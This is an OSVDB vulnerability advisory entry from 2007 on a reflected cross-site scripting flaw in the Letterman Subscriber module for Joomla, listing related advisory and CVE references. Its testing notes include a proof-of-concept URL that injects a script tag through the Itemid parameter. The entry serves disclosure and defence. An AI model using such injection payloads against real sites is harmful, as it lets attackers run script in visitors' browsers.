Letterman Subscriber Module for Joomla! mod_lettermansubscribe.php Itemid Variable XSS

2007-06-14T00:00:00
ID OSVDB:36376
Type osvdb
Reporter Edi Strosar()
Modified 2007-06-14T00:00:00

Description

Manual Testing Notes

http://[target]/index.php?option=com_letterman&task=view&id=1&Itemid=1"><script>alert(String.fromCharCode(88,83,83))</script>

References:

Secunia Advisory ID:25670 Other Advisory URL: http://www.thejfactory.com/ Mail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0308.html Keyword: TeamIntell Security Advisory TISA2007-01 ISS X-Force ID: 34870 FrSIRT Advisory: ADV-2007-2215 CVE-2007-3249 Bugtraq ID: 24479